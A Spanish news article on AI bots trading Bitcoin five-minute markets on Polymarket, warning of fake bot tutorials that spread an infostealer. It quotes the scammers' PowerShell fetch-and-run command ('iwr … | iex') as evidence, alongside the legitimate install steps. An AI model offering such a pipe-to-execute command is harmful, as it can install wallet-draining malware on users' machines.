-
IA busca pequeñas fluctuaciones para sacar rédito del mercado de precios de bitcoin.
-
Tutoriales falsos instalan malware para vaciar billeteras criptográficas.
Los bots de inteligencia artificial proliferan masivamente tras el lanzamiento de OpenClaw, herramienta antes conocida como Clawdbot. Decenas de usuarios aseguran obtener ganancias diarias mediante la automatización de sus apuestas en la plataforma Polymarket. Estos agentes operan principalmente en los nuevos mercados de Bitcoin con vencimiento de cinco minutos.
Este tipo de mercados permite apostar si el precio de bitcoin subirá o bajará en intervalos muy cortos, según se reportó desde CriptoNoticias. La alta frecuencia de estos eventos resulta ideal para los algoritmos que procesan datos en tiempo real. Los desarrolladores buscan capturar pequeñas fluctuaciones de precio mediante ejecuciones instantáneas de órdenes.
Sin embargo, el incremento en el uso de estos sistemas facilita la aparición de campañas fraudulentas altamente sofisticadas. Los criminales aprovechan el entusiasmo por el trading automático para distribuir software malicioso bajo falsas promesas. El anonimato de las redes sociales ayuda a la propagación de estas estafas financieras.
El motor tecnológico de las apuestas algorítmicas
Los desarrolladores configuran estos agentes utilizando Node.js como entorno de ejecución principal en servidores o computadoras. El sistema requiere llaves de API de modelos como Claude 3.5 para procesar el razonamiento de las apuestas. Estos bots se conectan directamente a la API de Polymarket para monitorear el libro de órdenes y la liquidez.
Los bots pueden ser ejecutados en PC personales o en servidores dedicados, todo dependerá de la experticia del desarrollador. Desde allí, el bot tendrá acceso al libro de apuestas de Polymarket a través de la llave de la API, que deberá ser configurada previo lanzamiento del bot.
Una característica distintiva, y que ha hecho explotar en popularidad, es el uso de habilidades modulares llamadas «skills» que extienden las capacidades del agente. Estas permiten que la IA navegue por la web antes de ejecutar una apuesta.
Los agentes IA son capaces de analizar el mercado de bitcoin en tiempo real buscando patrones de volatilidad o noticias de impacto. El sistema ejecuta órdenes de compra o venta automáticamente según los parámetros de riesgo configurados por el usuario. Esta arquitectura técnica elimina la latencia humana en la toma de decisiones durante eventos financieros críticos.
La investigación del fraude en saldos verificables
CriptoNoticias verificó uno de estos bots promocionados y pudo confirmar que se trata de una estafa diseñada para el robo de fondos. Los atacantes utilizan una táctica de ingeniería social basada en la transparencia de la cadena de bloques. Muestran enlaces de la wallet en Polymarket con saldos verificables de miles de dólares.
Los usuarios confirman que estos fondos existen realmente consultando las direcciones públicas en exploradores de bloques. Esta validación genera una confianza inmediata en la efectividad del supuesto bot de apuestas. Sin embargo, el enlace de descarga del software carece de relación técnica con la cuenta verificada.
Los atacantes ejecutan la estafa mediante comandos de instalación que el usuario copia en su terminal de Windows o macOS. Al momento de instalar, el titular de los estafadores señalan que se debe ejecutar cierto código desde la terminal de tu sistema operativo. Sin embargo, el comando powershelliwr -useb https://openclaw.ai/install.ps1 | iex descarga un código malicioso en lugar de la herramienta original. Esta instrucción instala un «infostealer» que toma control total del sistema operativo de forma silenciosa.
El malware busca activamente archivos de configuración, frases semilla y llaves privadas de wallets como MetaMask. En el tutorial los atacantes también prometen acceso a modelos inexistentes como «GPT-5.2» para atraer a víctimas curiosas. Tras infectar la computadora, los atacantes vacían los activos digitales de la persona en cuestión de minutos.
Diferencia técnica: La instalación real y segura
La instalación legítima de OpenClaw no requiere ejecutar scripts de sitios desconocidos que soliciten permisos de administrador inmediatos. El proceso profesional utiliza gestores de paquetes oficiales para garantizar la integridad del código fuente. El usuario debe seguir estos tres pasos básicos para un despliegue seguro:
- Requisitos previos: el sistema operativo debe tener instalado Node.js versión 22 o superior.
- Comando oficial: el usuario instala la herramienta globalmente mediante el comando npm install -g openclaw@latest.
- Asistente de configuración: el comando openclaw onboard inicia un asistente que solicita las llaves de API de forma local y privada.
Cualquier tutorial que sugiera descargar archivos directamente desde dominios .ai sospechosos representa un riesgo crítico. Se recomienda descargar el código exclusivamente desde el repositorio oficial en GitHub o mediante el registro de NPM. Esta distinción técnica separa las herramientas de productividad real de los intentos de pesca de credenciales (phishing).
Nuevas fronteras y seguridad en el trading de IA
La llegada de los agentes autónomos marca una nueva era de competencia entre algoritmos de razonamiento. Esta transición aumenta la eficiencia de los precios en Polymarket al eliminar los sesgos emocionales de los humanos. Los bots reales operan con éxito, pero su implementación correcta exige conocimientos técnicos avanzados. Si existen bots generando ganancias con Polymarket, incluso algunos han logrado convertir USD 50 hasta casi USD 3.000, no obstante, esta fama ha hecho que proliferen las estafas.
No existe el dinero fácil en este sector a pesar de la publicidad viral en redes sociales. La tecnología de agentes IA ofrece una utilidad operativa inmensa para automatizar procesos financieros complejos. No obstante, utilizar scripts de terceros sin auditar el código fuente representa un peligro crítico para la seguridad.
Herramientas como Claude de Antrophic facilitan el proceso de programación de aplicaciones, básicamente sin saber programar. Sin embargo, la auditoría y buenas prácticas de seguridad quedan de lado, por lo que se podría ser víctima fácilmente de aplicaciones fraudulentas.
Los interesados deben priorizar el uso de entornos aislados para probar cualquier software relacionado con criptomonedas. La verificación de las fuentes oficiales de proyectos de código abierto es la única defensa contra la suplantación. El futuro de este mercado dependerá de la capacidad de los usuarios para distinguir entre herramientas productivas y trampas.
